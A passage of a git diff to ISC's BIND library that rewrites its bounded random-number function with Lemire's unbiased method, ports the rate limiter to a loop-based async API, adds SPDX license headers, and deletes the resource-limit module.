+	 * (lower 32 bits) to determine whether or not we need to resample.
 	 */
-	for (;;) {
-		r = next();
-		if (r >= min) {
-			break;
+	uint64_t num = (uint64_t)next() * (uint64_t)limit;
+	/*
+	 * In the fast path, we avoid doing a division in most cases by
+	 * comparing the fraction part of `num` with the limit, which is
+	 * a slight over-estimate for the exact resample threshold.
+	 */
+	if ((uint32_t)(num) < limit) {
+		/*
+		 * We are in the slow path where we re-do the approximate test
+		 * more accurately. The exact threshold for the resample loop
+		 * is the remainder after dividing the raw RNG limit `1 << 32`
+		 * by the caller's limit. We use a trick to calculate it
+		 * within 32 bits:
+		 *
+		 *     (1 << 32) % limit
+		 * == ((1 << 32) - limit) % limit
+		 * ==  (uint32_t)(-limit) % limit
+		 *
+		 * This division is safe: we know that `limit` is strictly
+		 * greater than zero because of the slow-path test above.
+		 */
+		uint32_t residue = (uint32_t)(-limit) % limit;
+		/*
+		 * Unless we get one of `N = (1 << 32) - residue` valid
+		 * values, we reject the sample. This `N` is a multiple of
+		 * `limit`, so our results will be unbiased; and `N` is the
+		 * largest multiple that fits in 32 bits, so rejections are as
+		 * rare as possible.
+		 *
+		 * There are `limit` possible values for the integer part of
+		 * our fixed-point number. Each one corresponds to `N/limit`
+		 * or `N/limit + 1` possible fraction parts. For our result to
+		 * be unbiased, every possible integer part must have the same
+		 * number of possible valid fraction parts. So, when we get
+		 * the superfluous value in the `N/limit + 1` cases, we need
+		 * to reject and resample.
+		 *
+		 * Because of the multiplication, the possible values in the
+		 * fraction part are equally spaced by `limit`, with varying
+		 * gaps at each end of the fraction's 32-bit range. We will
+		 * choose a range of size `N` (a multiple of `limit`) into
+		 * which valid fraction values must fall, with the rest of the
+		 * 32-bit range covered by the `residue`. Lemire's paper says
+		 * that exactly `N/limit` possible values spaced apart by
+		 * `limit` will fit into our size `N` valid range, regardless
+		 * of the size of the end gaps, the phase alignment of the
+		 * values, or the position of the range.
+		 *
+		 * So, when a fraction value falls in the `residue` outside
+		 * our valid range, it is superfluous, and we resample.
+		 */
+		while ((uint32_t)(num) < residue) {
+			num = (uint64_t)next() * (uint64_t)limit;
 		}
 	}
-
-	return (r % upper_bound);
+	/*
+	 * Return the integer part (upper 32 bits).
+	 */
+	return ((uint32_t)(num >> 32));
 }
diff --git a/lib/isc/ratelimiter.c b/lib/isc/ratelimiter.c
index de3077a170..a7c5915211 100644
--- a/lib/isc/ratelimiter.c
+++ b/lib/isc/ratelimiter.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,180 +16,198 @@
 #include <inttypes.h>
 #include <stdbool.h>
 
+#include <isc/async.h>
+#include <isc/loop.h>
+#include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/ratelimiter.h>
 #include <isc/refcount.h>
-#include <isc/task.h>
 #include <isc/time.h>
 #include <isc/timer.h>
 #include <isc/util.h>
 
 typedef enum {
-	isc_ratelimiter_stalled = 0,
-	isc_ratelimiter_ratelimited = 1,
-	isc_ratelimiter_idle = 2,
-	isc_ratelimiter_shuttingdown = 3
+	isc_ratelimiter_ratelimited = 0,
+	isc_ratelimiter_idle = 1,
+	isc_ratelimiter_shuttingdown = 2
 } isc_ratelimiter_state_t;
 
+#define RATELIMITER_MAGIC     ISC_MAGIC('R', 't', 'L', 'm')
+#define VALID_RATELIMITER(rl) ISC_MAGIC_VALID(rl, RATELIMITER_MAGIC)
+
 struct isc_ratelimiter {
+	int magic;
 	isc_mem_t *mctx;
-	isc_mutex_t lock;
+	isc_loop_t *loop;
 	isc_refcount_t references;
-	isc_task_t *task;
+	isc_mutex_t lock;
 	isc_timer_t *timer;
 	isc_interval_t interval;
 	uint32_t pertic;
 	bool pushpop;
 	isc_ratelimiter_state_t state;
-	isc_event_t shutdownevent;
-	ISC_LIST(isc_event_t) pending;
+	ISC_LIST(isc_rlevent_t) pending;
 };
 
-#define ISC_RATELIMITEREVENT_SHUTDOWN (ISC_EVENTCLASS_RATELIMITER + 1)
+static void
+isc__ratelimiter_tick(void *arg);
 
 static void
-ratelimiter_tick(isc_task_t *task, isc_event_t *event);
+isc__ratelimiter_start(void *arg);
 
 static void
-ratelimiter_shutdowncomplete(isc_task_t *task, isc_event_t *event);
+isc__ratelimiter_doshutdown(void *arg);
 
-isc_result_t
-isc_ratelimiter_create(isc_mem_t *mctx, isc_timermgr_t *timermgr,
-		       isc_task_t *task, isc_ratelimiter_t **ratelimiterp) {
-	isc_result_t result;
-	isc_ratelimiter_t *rl;
-	INSIST(ratelimiterp != NULL && *ratelimiterp == NULL);
+void
+isc_ratelimiter_create(isc_loop_t *loop, isc_ratelimiter_t **rlp) {
+	isc_ratelimiter_t *rl = NULL;
+	isc_mem_t *mctx;
+
+	REQUIRE(loop != NULL);
+	REQUIRE(rlp != NULL && *rlp == NULL);
+
+	mctx = isc_loop_getmctx(loop);
 
 	rl = isc_mem_get(mctx, sizeof(*rl));
 	*rl = (isc_ratelimiter_t){
-		.mctx = mctx,
-		.task = task,
 		.pertic = 1,
 		.state = isc_ratelimiter_idle,
+		.magic = RATELIMITER_MAGIC,
 	};
 
+	isc_mem_attach(mctx, &rl->mctx);
+	isc_loop_attach(loop, &rl->loop);
 	isc_refcount_init(&rl->references, 1);
 	isc_interval_set(&rl->interval, 0, 0);
 	ISC_LIST_INIT(rl->pending);
 
-	isc_mutex_init(&rl->lock);
-
-	result = isc_timer_create(timermgr, isc_timertype_inactive, NULL, NULL,
-				  rl->task, ratelimiter_tick, rl, &rl->timer);
-	if (result != ISC_R_SUCCESS) {
-		goto free_mutex;
-	}
-
-	/*
-	 * Increment the reference count to indicate that we may
-	 * (soon) have events outstanding.
-	 */
-	isc_refcount_increment(&rl->references);
-
-	ISC_EVENT_INIT(&rl->shutdownevent, sizeof(isc_event_t), 0, NULL,
-		       ISC_RATELIMITEREVENT_SHUTDOWN,
-		       ratelimiter_shutdowncomplete, rl, rl, NULL, NULL);
+	isc_timer_create(rl->loop, isc__ratelimiter_tick, rl, &rl->timer);
 
-	*ratelimiterp = rl;
-	return (ISC_R_SUCCESS);
+	isc_mutex_init(&rl->lock);
 
-free_mutex:
-	isc_refcount_decrementz(&rl->references);
-	isc_refcount_destroy(&rl->references);
-	isc_mutex_destroy(&rl->lock);
-	isc_mem_put(mctx, rl, sizeof(*rl));
-	return (result);
+	*rlp = rl;
 }
 
-isc_result_t
-isc_ratelimiter_setinterval(isc_ratelimiter_t *rl, isc_interval_t *interval) {
-	isc_result_t result = ISC_R_SUCCESS;
-
-	REQUIRE(rl != NULL);
+void
+isc_ratelimiter_setinterval(isc_ratelimiter_t *restrict rl,
+			    const isc_interval_t *const interval) {
+	REQUIRE(VALID_RATELIMITER(rl));
 	REQUIRE(interval != NULL);
 
 	LOCK(&rl->lock);
 	rl->interval = *interval;
-	/*
-	 * If the timer is currently running, change its rate.
-	 */
-	if (rl->state == isc_ratelimiter_ratelimited) {
-		result = isc_timer_reset(rl->timer, isc_timertype_ticker, NULL,
-					 &rl->interval, false);
-	}
+	/* The interval will be adjusted on the next tick */
 	UNLOCK(&rl->lock);
-	return (result);
 }
 
 void
-isc_ratelimiter_setpertic(isc_ratelimiter_t *rl, uint32_t pertic) {
-	REQUIRE(rl != NULL);
+isc_ratelimiter_setpertic(isc_ratelimiter_t *restrict rl,
+			  const uint32_t pertic) {
+	REQUIRE(VALID_RATELIMITER(rl));
+	REQUIRE(pertic > 0);
 
-	if (pertic == 0) {
-		pertic = 1;
-	}
+	LOCK(&rl->lock);
 	rl->pertic = pertic;
+	UNLOCK(&rl->lock);
 }
 
 void
-isc_ratelimiter_setpushpop(isc_ratelimiter_t *rl, bool pushpop) {
-	REQUIRE(rl != NULL);
+isc_ratelimiter_setpushpop(isc_ratelimiter_t *restrict rl, const bool pushpop) {
+	REQUIRE(VALID_RATELIMITER(rl));
 
+	LOCK(&rl->lock);
 	rl->pushpop = pushpop;
+	UNLOCK(&rl->lock);
+}
+
+static void
+isc__ratelimiter_start(void *arg) {
+	isc_ratelimiter_t *rl = arg;
+	isc_interval_t interval;
+
+	REQUIRE(VALID_RATELIMITER(rl));
+
+	LOCK(&rl->lock);
+	switch (rl->state) {
+	case isc_ratelimiter_ratelimited:
+		/* The first tick happens immediately */
+		isc_interval_set(&interval, 0, 0);
+		isc_timer_start(rl->timer, isc_timertype_once, &interval);
+		break;
+	case isc_ratelimiter_shuttingdown:
+		/* The ratelimiter is shutting down */
+		break;
+	case isc_ratelimiter_idle:
+		/*
+		 * This could happen if we are changing the interval on the
+		 * ratelimiter, but all the events were processed and the timer
+		 * was stopped before the new interval could be applied.
+		 */
+		break;
+	default:
+		UNREACHABLE();
+	}
+	UNLOCK(&rl->lock);
+	isc_ratelimiter_detach(&rl);
 }
 
 isc_result_t
-isc_ratelimiter_enqueue(isc_ratelimiter_t *rl, isc_task_t *task,
-			isc_event_t **eventp) {
+isc_ratelimiter_enqueue(isc_ratelimiter_t *restrict rl,
+			isc_loop_t *restrict loop, isc_job_cb cb, void *arg,
+			isc_rlevent_t **rlep) {
 	isc_result_t result = ISC_R_SUCCESS;
-	isc_event_t *ev;
+	isc_rlevent_t *rle = NULL;
 
-	REQUIRE(rl != NULL);
-	REQUIRE(task != NULL);
-	REQUIRE(eventp != NULL && *eventp != NULL);
-	ev = *eventp;
-	REQUIRE(ev->ev_sender == NULL);
+	REQUIRE(VALID_RATELIMITER(rl));
+	REQUIRE(loop != NULL);
+	REQUIRE(rlep != NULL && *rlep == NULL);
 
 	LOCK(&rl->lock);
-	if (rl->state == isc_ratelimiter_ratelimited ||
-	    rl->state == isc_ratelimiter_stalled)
-	{
-		ev->ev_sender = task;
-		*eventp = NULL;
+	switch (rl->state) {
+	case isc_ratelimiter_shuttingdown:
+		result = ISC_R_SHUTTINGDOWN;
+		break;
+	case isc_ratelimiter_idle:
+		/* Start the ratelimiter */
+		isc_ratelimiter_ref(rl);
+		isc_async_run(rl->loop, isc__ratelimiter_start, rl);
+		rl->state = isc_ratelimiter_ratelimited;
+		FALLTHROUGH;
+	case isc_ratelimiter_ratelimited:
+		rle = isc_mem_get(isc_loop_getmctx(loop), sizeof(*rle));
+		*rle = (isc_rlevent_t){
+			.cb = cb,
+			.arg = arg,
+			.link = ISC_LINK_INITIALIZER,
+		};
+		isc_loop_attach(loop, &rle->loop);
+		isc_ratelimiter_attach(rl, &rle->rl);
+
 		if (rl->pushpop) {
-			ISC_LIST_PREPEND(rl->pending, ev, ev_ratelink);
+			ISC_LIST_PREPEND(rl->pending, rle, link);
 		} else {
-			ISC_LIST_APPEND(rl->pending, ev, ev_ratelink);
+			ISC_LIST_APPEND(rl->pending, rle, link);
 		}
-	} else if (rl->state == isc_ratelimiter_idle) {
-		result = isc_timer_reset(rl->timer, isc_timertype_ticker, NULL,
-					 &rl->interval, false);
-		if (result == ISC_R_SUCCESS) {
-			ev->ev_sender = task;
-			rl->state = isc_ratelimiter_ratelimited;
-		}
-	} else {
-		INSIST(rl->state == isc_ratelimiter_shuttingdown);
-		result = ISC_R_SHUTTINGDOWN;
+		*rlep = rle;
+		break;
+	default:
+		UNREACHABLE();
 	}
 	UNLOCK(&rl->lock);
-	if (*eventp != NULL && result == ISC_R_SUCCESS) {
-		isc_task_send(task, eventp);
-	}
 	return (result);
 }
 
 isc_result_t
-isc_ratelimiter_dequeue(isc_ratelimiter_t *rl, isc_event_t *event) {
+isc_ratelimiter_dequeue(isc_ratelimiter_t *restrict rl, isc_rlevent_t **rlep) {
 	isc_result_t result = ISC_R_SUCCESS;
 
 	REQUIRE(rl != NULL);
-	REQUIRE(event != NULL);
+	REQUIRE(rlep != NULL);
 
 	LOCK(&rl->lock);
-	if (ISC_LINK_LINKED(event, ev_ratelink)) {
-		ISC_LIST_UNLINK(rl->pending, event, ev_ratelink);
-		event->ev_sender = NULL;
+	if (ISC_LINK_LINKED(*rlep, link)) {
+		ISC_LIST_UNLINK(rl->pending, *rlep, link);
+		isc_rlevent_free(rlep);
 	} else {
 		result = ISC_R_NOTFOUND;
 	}
@@ -196,170 +216,125 @@ isc_ratelimiter_dequeue(isc_ratelimiter_t *rl, isc_event_t *event) {
 }
 
 static void
-ratelimiter_tick(isc_task_t *task, isc_event_t *event) {
-	isc_ratelimiter_t *rl = (isc_ratelimiter_t *)event->ev_arg;
-	isc_event_t *p;
+isc__ratelimiter_tick(void *arg) {
+	isc_ratelimiter_t *rl = (isc_ratelimiter_t *)arg;
+	isc_rlevent_t *rle = NULL;
 	uint32_t pertic;
+	ISC_LIST(isc_rlevent_t) pending;
+
+	REQUIRE(VALID_RATELIMITER(rl));
 
-	UNUSED(task);
+	ISC_LIST_INIT(pending);
 
-	isc_event_free(&event);
+	LOCK(&rl->lock);
+
+	REQUIRE(rl->timer != NULL);
+
+	if (rl->state == isc_ratelimiter_shuttingdown) {
+		INSIST(EMPTY(rl->pending));
+		goto unlock;
+	}
 
 	pertic = rl->pertic;
 	while (pertic != 0) {
-		pertic--;
-		LOCK(&rl->lock);
-		p = ISC_LIST_HEAD(rl->pending);
-		if (p != NULL) {
-			/*
-			 * There is work to do.  Let's do it after unlocking.
-			 */
-			ISC_LIST_UNLINK(rl->pending, p, ev_ratelink);
+		rle = ISC_LIST_HEAD(rl->pending);
+		if (rle != NULL) {
+			/* There is work to do.  Let's do it after unlocking. */
+			ISC_LIST_UNLINK(rl->pending, rle, link);
+			ISC_LIST_APPEND(pending, rle, link);
 		} else {
 			/*
-			 * No work left to do.  Stop the timer so that we don't
-			 * waste resources by having it fire periodically.
+			 * We processed all the scheduled work, but there's a
+			 * room for at least one more event (we haven't consumed
+			 * all of the "pertick"), so we can stop the ratelimiter
+			 * now, and don't worry about isc_ratelimiter_enqueue()
+			 * sending an extra event immediately.
 			 */
-			isc_result_t result = isc_timer_reset(
-				rl->timer, isc_timertype_inactive, NULL, NULL,
-				false);
-			RUNTIME_CHECK(result == ISC_R_SUCCESS);
 			rl->state = isc_ratelimiter_idle;
-			pertic = 0; /* Force the loop to exit. */
+			break;
 		}
-		UNLOCK(&rl->lock);
-		if (p != NULL) {
-			isc_task_t *evtask = p->ev_sender;
-			isc_task_send(evtask, &p);
-		}
-		INSIST(p == NULL);
+		pertic--;
+	}
+
+	if (rl->state != isc_ratelimiter_idle) {
+		/* Reschedule the timer */
+		isc_timer_start(rl->timer, isc_timertype_once, &rl->interval);
+	}
+unlock:
+	UNLOCK(&rl->lock);
+
+	while ((rle = ISC_LIST_HEAD(pending)) != NULL) {
+		ISC_LIST_UNLINK(pending, rle, link);
+		isc_async_run(rle->loop, rle->cb, rle->arg);
 	}
 }
 
 void
-isc_ratelimiter_shutdown(isc_ratelimiter_t *rl) {
-	isc_event_t *ev;
-	isc_task_t *task;
+isc__ratelimiter_doshutdown(void *arg) {
+	isc_ratelimiter_t *rl = arg;
 
-	REQUIRE(rl != NULL);
+	REQUIRE(VALID_RATELIMITER(rl));
 
 	LOCK(&rl->lock);
-	rl->state = isc_ratelimiter_shuttingdown;
-	(void)isc_timer_reset(rl->timer, isc_timertype_inactive, NULL, NULL,
-			      false);
-	while ((ev = ISC_LIST_HEAD(rl->pending)) != NULL) {
-		task = ev->ev_sender;
-		ISC_LIST_UNLINK(rl->pending, ev, ev_ratelink);
-		ev->ev_attributes |= ISC_EVENTATTR_CANCELED;
-		isc_task_send(task, &ev);
-	}
-	task = NULL;
-	isc_task_attach(rl->task, &task);
-	isc_timer_detach(&rl->timer);
-
-	/*
-	 * Send an event to our task.  The delivery of this event
-	 * indicates that no more timer events will be delivered.
-	 */
-	ev = &rl->shutdownevent;
-	isc_task_send(rl->task, &ev);
+	INSIST(rl->state == isc_ratelimiter_shuttingdown);
+	INSIST(EMPTY(rl->pending));
 
+	isc_timer_stop(rl->timer);
+	isc_timer_destroy(&rl->timer);
+	isc_loop_detach(&rl->loop);
 	UNLOCK(&rl->lock);
-}
-
-static void
-ratelimiter_shutdowncomplete(isc_task_t *task, isc_event_t *event) {
-	isc_ratelimiter_t *rl = (isc_ratelimiter_t *)event->ev_arg;
-
-	UNUSED(task);
-
 	isc_ratelimiter_detach(&rl);
-	isc_task_detach(&task);
-}
-
-static void
-ratelimiter_free(isc_ratelimiter_t *rl) {
-	isc_refcount_destroy(&rl->references);
-	isc_mutex_destroy(&rl->lock);
-	isc_mem_put(rl->mctx, rl, sizeof(*rl));
 }
 
 void
-isc_ratelimiter_attach(isc_ratelimiter_t *source, isc_ratelimiter_t **target) {
-	REQUIRE(source != NULL);
-	REQUIRE(target != NULL && *target == NULL);
-
-	isc_refcount_increment(&source->references);
+isc_ratelimiter_shutdown(isc_ratelimiter_t *restrict rl) {
+	isc_rlevent_t *rle = NULL;
+	ISC_LIST(isc_rlevent_t) pending;
 
-	*target = source;
-}
+	REQUIRE(VALID_RATELIMITER(rl));
 
-void
-isc_ratelimiter_detach(isc_ratelimiter_t **rlp) {
-	isc_ratelimiter_t *rl;
+	ISC_LIST_INIT(pending);
 
-	REQUIRE(rlp != NULL && *rlp != NULL);
-
-	rl = *rlp;
-	*rlp = NULL;
+	LOCK(&rl->lock);
+	if (rl->state != isc_ratelimiter_shuttingdown) {
+		rl->state = isc_ratelimiter_shuttingdown;
+		ISC_LIST_MOVE(pending, rl->pending);
+		isc_ratelimiter_ref(rl);
+		isc_async_run(rl->loop, isc__ratelimiter_doshutdown, rl);
+	}
+	UNLOCK(&rl->lock);
 
-	if (isc_refcount_decrement(&rl->references) == 1) {
-		ratelimiter_free(rl);
+	while ((rle = ISC_LIST_HEAD(pending)) != NULL) {
+		ISC_LIST_UNLINK(pending, rle, link);
+		rle->canceled = true;
+		isc_async_run(rl->loop, rle->cb, rle->arg);
 	}
 }
 
-isc_result_t
-isc_ratelimiter_stall(isc_ratelimiter_t *rl) {
-	isc_result_t result = ISC_R_SUCCESS;
-
-	REQUIRE(rl != NULL);
+static void
+ratelimiter_destroy(isc_ratelimiter_t *restrict rl) {
+	isc_refcount_destroy(&rl->references);
 
 	LOCK(&rl->lock);
-	switch (rl->state) {
-	case isc_ratelimiter_shuttingdown:
-		result = ISC_R_SHUTTINGDOWN;
-		break;
-	case isc_ratelimiter_ratelimited:
-		result = isc_timer_reset(rl->timer, isc_timertype_inactive,
-					 NULL, NULL, false);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
-	/* FALLTHROUGH */
-	case isc_ratelimiter_idle:
-	case isc_ratelimiter_stalled:
-		rl->state = isc_ratelimiter_stalled;
-		break;
-	}
+	REQUIRE(rl->state == isc_ratelimiter_shuttingdown);
 	UNLOCK(&rl->lock);
-	return (result);
+
+	isc_mutex_destroy(&rl->lock);
+	isc_mem_putanddetach(&rl->mctx, rl, sizeof(*rl));
 }
 
-isc_result_t
-isc_ratelimiter_release(isc_ratelimiter_t *rl) {
-	isc_result_t result = ISC_R_SUCCESS;
+void
+isc_rlevent_free(isc_rlevent_t **rlep) {
+	REQUIRE(rlep != NULL && *rlep != NULL);
 
-	REQUIRE(rl != NULL);
+	isc_rlevent_t *rle = *rlep;
+	isc_mem_t *mctx = isc_loop_getmctx(rle->loop);
 
-	LOCK(&rl->lock);
-	switch (rl->state) {
-	case isc_ratelimiter_shuttingdown:
-		result = ISC_R_SHUTTINGDOWN;
-		break;
-	case isc_ratelimiter_stalled:
-		if (!ISC_LIST_EMPTY(rl->pending)) {
-			result = isc_timer_reset(rl->timer,
-						 isc_timertype_ticker, NULL,
-						 &rl->interval, false);
-			if (result == ISC_R_SUCCESS) {
-				rl->state = isc_ratelimiter_ratelimited;
-			}
-		} else {
-			rl->state = isc_ratelimiter_idle;
-		}
-		break;
-	case isc_ratelimiter_ratelimited:
-	case isc_ratelimiter_idle:
-		break;
-	}
-	UNLOCK(&rl->lock);
-	return (result);
+	*rlep = NULL;
+
+	isc_loop_detach(&rle->loop);
+	isc_ratelimiter_detach(&rle->rl);
+	isc_mem_put(mctx, rle, sizeof(*rle));
 }
+
+ISC_REFCOUNT_IMPL(isc_ratelimiter, ratelimiter_destroy);
diff --git a/lib/isc/regex.c b/lib/isc/regex.c
index b05298c200..de99688f1c 100644
--- a/lib/isc/regex.c
+++ b/lib/isc/regex.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,7 +14,6 @@
 #include <stdbool.h>
 
 #include <isc/file.h>
-#include <isc/print.h>
 #include <isc/regex.h>
 #include <isc/string.h>
 
diff --git a/lib/isc/region.c b/lib/isc/region.c
index d5f4e17101..675f4ec7b2 100644
--- a/lib/isc/region.c
+++ b/lib/isc/region.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/resource.c b/lib/isc/resource.c
deleted file mode 100644
index 71143b7702..0000000000
--- a/lib/isc/resource.c
+++ /dev/null
@@ -1,217 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <inttypes.h>
-#include <stdbool.h>
-#include <sys/resource.h>
-#include <sys/time.h> /* Required on some systems for <sys/resource.h>. */
-#include <sys/types.h>
-
-#include <isc/platform.h>
-#include <isc/resource.h>
-#include <isc/result.h>
-#include <isc/util.h>
-
-#ifdef __linux__
-#include <linux/fs.h> /* To get the large NR_OPEN. */
-#endif		      /* ifdef __linux__ */
-
-#include "errno2result.h"
-
-static isc_result_t
-resource2rlim(isc_resource_t resource, int *rlim_resource) {
-	isc_result_t result = ISC_R_SUCCESS;
-
-	switch (resource) {
-	case isc_resource_coresize:
-		*rlim_resource = RLIMIT_CORE;
-		break;
-	case isc_resource_cputime:
-		*rlim_resource = RLIMIT_CPU;
-		break;
-	case isc_resource_datasize:
-		*rlim_resource = RLIMIT_DATA;
-		break;
-	case isc_resource_filesize:
-		*rlim_resource = RLIMIT_FSIZE;
-		break;
-	case isc_resource_lockedmemory:
-#ifdef RLIMIT_MEMLOCK
-		*rlim_resource = RLIMIT_MEMLOCK;
-#else  /* ifdef RLIMIT_MEMLOCK */
-		result = ISC_R_NOTIMPLEMENTED;
-#endif /* ifdef RLIMIT_MEMLOCK */
-		break;
-	case isc_resource_openfiles:
-#ifdef RLIMIT_NOFILE
-		*rlim_resource = RLIMIT_NOFILE;
-#else  /* ifdef RLIMIT_NOFILE */
-		result = ISC_R_NOTIMPLEMENTED;
-#endif /* ifdef RLIMIT_NOFILE */
-		break;
-	case isc_resource_processes:
-#ifdef RLIMIT_NPROC
-		*rlim_resource = RLIMIT_NPROC;
-#else  /* ifdef RLIMIT_NPROC */
-		result = ISC_R_NOTIMPLEMENTED;
-#endif /* ifdef RLIMIT_NPROC */
-		break;
-	case isc_resource_residentsize:
-#ifdef RLIMIT_RSS
-		*rlim_resource = RLIMIT_RSS;
-#else  /* ifdef RLIMIT_RSS */
-		result = ISC_R_NOTIMPLEMENTED;
-#endif /* ifdef RLIMIT_RSS */
-		break;
-	case isc_resource_stacksize:
-		*rlim_resource = RLIMIT_STACK;
-		break;
-	default:
-		/*
-		 * This test is not very robust if isc_resource_t
-		 * changes, but generates a clear assertion message.
-		 */
-		REQUIRE(resource >= isc_resource_coresize &&
-			resource <= isc_resource_stacksize);
-
-		result = ISC_R_RANGE;
-		break;
-	}
-
-	return (result);
-}
-
-isc_result_t
-isc_resource_setlimit(isc_resource_t resource, isc_resourcevalue_t value) {
-	struct rlimit rl;
-	rlim_t rlim_value;
-	int unixresult;
-	int unixresource;
-	isc_result_t result;
-
-	result = resource2rlim(resource, &unixresource);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	if (value == ISC_RESOURCE_UNLIMITED) {
-		rlim_value = RLIM_INFINITY;
-	} else {
-		/*
-		 * isc_resourcevalue_t was chosen as an unsigned 64 bit
-		 * integer so that it could contain the maximum range of
-		 * reasonable values.  Unfortunately, this exceeds the typical
-		 * range on Unix systems.  Ensure the range of
-		 * rlim_t is not overflowed.
-		 */
-		isc_resourcevalue_t rlim_max;
-		bool rlim_t_is_signed = (((double)(rlim_t)-1) < 0);
-
-		if (rlim_t_is_signed) {
-			rlim_max = ~((rlim_t)1 << (sizeof(rlim_t) * 8 - 1));
-		} else {
-			rlim_max = (rlim_t)-1;
-		}
-
-		if (value > rlim_max) {
-			value = rlim_max;
-		}
-
-		rlim_value = value;
-	}
-
-	rl.rlim_cur = rl.rlim_max = rlim_value;
-	unixresult = setrlimit(unixresource, &rl);
-
-	if (unixresult == 0) {
-		return (ISC_R_SUCCESS);
-	}
-
-#if defined(OPEN_MAX) && defined(__APPLE__)
-	/*
-	 * The Darwin kernel doesn't accept RLIM_INFINITY for rlim_cur; the
-	 * maximum possible value is OPEN_MAX.  BIND8 used to use
-	 * sysconf(_SC_OPEN_MAX) for such a case, but this value is much
-	 * smaller than OPEN_MAX and is not really effective.
-	 */
-	if (resource == isc_resource_openfiles && rlim_value == RLIM_INFINITY) {
-		rl.rlim_cur = OPEN_MAX;
-		unixresult = setrlimit(unixresource, &rl);
-		if (unixresult == 0) {
-			return (ISC_R_SUCCESS);
-		}
-	}
-#elif defined(__linux__)
-#ifndef NR_OPEN
-#define NR_OPEN (1024 * 1024)
-#endif /* ifndef NR_OPEN */
-
-	/*
-	 * Some Linux kernels don't accept RLIM_INFINIT; the maximum
-	 * possible value is the NR_OPEN defined in linux/fs.h.
-	 */
-	if (resource == isc_resource_openfiles && rlim_value == RLIM_INFINITY) {
-		rl.rlim_cur = rl.rlim_max = NR_OPEN;
-		unixresult = setrlimit(unixresource, &rl);
-		if (unixresult == 0) {
-			return (ISC_R_SUCCESS);
-		}
-	}
-#endif /* if defined(OPEN_MAX) && defined(__APPLE__) */
-	if (resource == isc_resource_openfiles && rlim_value == RLIM_INFINITY) {
-		if (getrlimit(unixresource, &rl) == 0) {
-			rl.rlim_cur = rl.rlim_max;
-			unixresult = setrlimit(unixresource, &rl);
-			if (unixresult == 0) {
-				return (ISC_R_SUCCESS);
-			}
-		}
-	}
-	return (isc__errno2result(errno));
-}
-
-isc_result_t
-isc_resource_getlimit(isc_resource_t resource, isc_resourcevalue_t *value) {
-	int unixresource;
-	struct rlimit rl;
-	isc_result_t result;
-
-	result = resource2rlim(resource, &unixresource);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	if (getrlimit(unixresource, &rl) != 0) {
-		return (isc__errno2result(errno));
-	}
-
-	*value = rl.rlim_max;
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-isc_resource_getcurlimit(isc_resource_t resource, isc_resourcevalue_t *value) {
-	int unixresource;
-	struct rlimit rl;
-	isc_result_t result;
-
-	result = resource2rlim(resource, &unixresource);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	if (getrlimit(unixresource, &rl) != 0) {
-		return (isc__errno2result(errno));
-	}
-
-	*value = rl.rlim_cur;
-	return (ISC_R_SUCCESS);
-}
diff --git a/lib/isc/result.c b/lib/isc/result.c
index 72e7a3c28e..765105ab55 100644
--- a/lib/isc/result.c
+++ b/lib/isc/result.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,291 +16,529 @@
 #include <stddef.h>
 #include <stdlib.h>
 
-#include <isc/lib.h>
 #include <isc/once.h>
-#include <isc/resultclass.h>
-#include <isc/rwlock.h>
 #include <isc/util.h>
 
-typedef struct resulttable {
-	unsigned int base;
-	unsigned int last;
-	const char **text;
-	int set;
-	ISC_LINK(struct resulttable) link;
-} resulttable;
-
-typedef ISC_LIST(resulttable) resulttable_list_t;
-
 static const char *description[ISC_R_NRESULTS] = {
-	"success",			    /*%< 0 */
-	"out of memory",		    /*%< 1 */
-	"timed out",			    /*%< 2 */
-	"no available threads",		    /*%< 3 */
-	"address not available",	    /*%< 4 */
-	"address in use",		    /*%< 5 */
-	"permission denied",		    /*%< 6 */
-	"no pending connections",	    /*%< 7 */
-	"network unreachable",		    /*%< 8 */
-	"host unreachable",		    /*%< 9 */
-	"network down",			    /*%< 10 */
-	"host down",			    /*%< 11 */
-	"connection refused",		    /*%< 12 */
-	"not enough free resources",	    /*%< 13 */
-	"end of file",			    /*%< 14 */
-	"socket already bound",		    /*%< 15 */
-	"reload",			    /*%< 16 */
-	"lock busy",			    /*%< 17 */
-	"already exists",		    /*%< 18 */
-	"ran out of space",		    /*%< 19 */
-	"operation canceled",		    /*%< 20 */
-	"socket is not bound",		    /*%< 21 */
-	"shutting down",		    /*%< 22 */
-	"not found",			    /*%< 23 */
-	"unexpected end of input",	    /*%< 24 */
-	"failure",			    /*%< 25 */
-	"I/O error",			    /*%< 26 */
